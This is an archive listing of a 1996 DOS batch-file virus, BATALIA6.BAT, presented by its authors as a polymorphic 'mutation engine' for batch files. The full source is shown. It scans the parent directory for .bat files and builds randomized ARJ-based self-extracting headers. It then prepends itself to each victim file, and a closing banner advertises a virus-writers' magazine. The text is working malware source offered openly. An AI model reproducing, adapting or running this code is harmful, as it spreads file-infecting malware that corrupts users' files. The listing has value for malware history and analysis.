home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / BATCHCOL.ZIP / TOOLS.ZIP / BATALIA.ZIP / BATALIA6.ZIP / BATALIA6.BAT next >
DOS Batch File  |  1980-01-01  |  3KB  |  143 lines
  1. :             Death Virii Crew  &  Stealth Group World Wide
  2. :                    P R E S E N T S
  3. :                  First Mutation Engine for BAT !
  4. :                Without ASM !
  5. :              [BATalia6] & FMEB (c) by Reminder
  6. :
  7. @echo off
  8. set n=BATALIA6.BAT
  9. if "a%1"=="af" goto find
  10. if "a%1"=="ap" goto poly
  11. if "a%1"=="as" goto sets
  12. cd ..
  13. for %%b in (*.bat) do call s_g_w_w\%0 f %%b
  14. cd s_g_w_w
  15. if exist test del test
  16. goto en
  17. :find
  18. if "a%f%"=="ay" goto en
  19. cd s_g_w_w
  20. arj l ..\%2 >nul
  21. if errorlevel 1 goto bg
  22. goto en1
  23. :bg
  24. if exist real del real
  25. set code=b
  26. call %n% p ..\%2
  27. set code=t
  28. call %n% p ..\%2
  29. set p=%rnd%
  30. set code=1
  31. call %n% p ..\%2 %2
  32. set code=t
  33. call %n% p ..\%2
  34. set code=2
  35. call %n% p ..\%2
  36. echo %rulz% %2>>real
  37. copy rulz %rulz%.bat >nul
  38. arj a %rnd%.%rulz% %n% ..\%2 zagl rulz final.bat >nul
  39. copy /b %rulz%.bat+%rnd%.%rulz% >nul
  40. arj a %rulz%.%rnd% %rulz%.bat -g%p%>nul
  41. copy /b real+%rulz%.%rnd% ..\%2 >nul
  42. del real
  43. del %rulz%.%rnd%
  44. del %rnd%.%rulz%
  45. del %rulz%.bat
  46. set f=y
  47. goto en1
  48. :sets
  49. if %rnd%==3 set rnd=4
  50. if %rnd%==2 set rnd=3
  51. if %rnd%==1 set rnd=2
  52. goto en
  53. :poly
  54. copy zagl test >nul
  55. :there add new method of rnd (E.g. type %2 >> test) - bad example)
  56. type zagl >>test
  57. echo 1 >rnd1
  58. echo 2 >rnd2
  59. echo 3 >rnd3
  60. del rnd? /p <test>nul 
  61. set rnd=1
  62. for %%c in (rnd?) do call %0 s
  63. echo 1 >rnd1
  64. del rnd?>nul
  65. goto make_%code%_%rnd%
  66. :make_b_1
  67. echo @echo off>>real
  68. goto _1
  69. :make_b_2
  70. echo @echo OFF>>real
  71. goto _2
  72. :make_b_3
  73. echo @EcHo OfF>>real
  74. goto _3
  75. :make_b_4
  76. echo @ECHO OFF>>real
  77. goto _4
  78. :make_1_1
  79. echo %comspec% nul /carj x %%0 -g%p%>>real
  80. goto _1
  81. :make_1_2
  82. echo %%comspec%% nul /c arj x %3 -g%p%>>real
  83. goto _2
  84. :make_1_3
  85. echo %%comspec%% nul /carj e %%0 -g%p%>>real
  86. goto _3
  87. :make_1_4
  88. echo %comspec% nul /c arj e %3 -g%p%>>real
  89. goto _4
  90. :make_2_1
  91. set rulz=i
  92. goto _1
  93. :make_2_2
  94. set rulz=s
  95. goto _2
  96. :make_2_3
  97. set rulz=h
  98. goto _3
  99. :make_2_4
  100. set rulz=w
  101. goto _4
  102. :make_t_1
  103. echo rem COMMAND.COM nul /carj x %%0 -g1>>real
  104. goto _1
  105. :make_t_2
  106. echo :echo %comspec% nul /carj x %%0>>real
  107. goto _2
  108. :make_t_3
  109. echo :nul arj x %%0 -g7 %comspec%>>real
  110. goto _3
  111. :make_t_4
  112. echo rem arj e %%0 %%compec%% -g5>>real
  113. goto _4
  114. :_1
  115. echo NY >zagl
  116. goto en
  117. :_2
  118. echo YY >zagl
  119. goto en
  120. :_3
  121. echo NN >zagl
  122. goto en
  123. :_4
  124. echo YN >zagl
  125. goto en
  126. :en1
  127. cd ..
  128. :en
  129. :               //         ▄▄                  ▄
  130. :  ┌────────  /// ──────┐ ▀▀▀     Magazine     █    for VirMakers
  131. :  │╔╗╔╦╗╔═ // // ╦╔╦╗╗╔│ ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀
  132. :  │╚╗ ║ ╠ /////  ║ ║ ╠╣│  ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█    ▌ █ ▄▀█ █ ▄▀▀ █▄▄
  133. :  │╚╝ ╩ ╚  ///// ╚╝╩ ╝╚│   █ █ █ █▀  █▀  █    █  █▀  █ █    █ █ █ █ █ █   █
  134. :  └────── // // ───────┘   █ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀     ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄
  135. :  GROUP  // // WORLDWIDE   ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  136. :
  137. : Box 10, Kiev   252148
  138. : Box 15, Moscow 125080
  139. : Box 11, Lutsk  263020
  140. :
  141. :               R E A D    I N F E C T E D    V O I C E
  142. :
  143. :                        (c) by Reminder (May 22, 1996)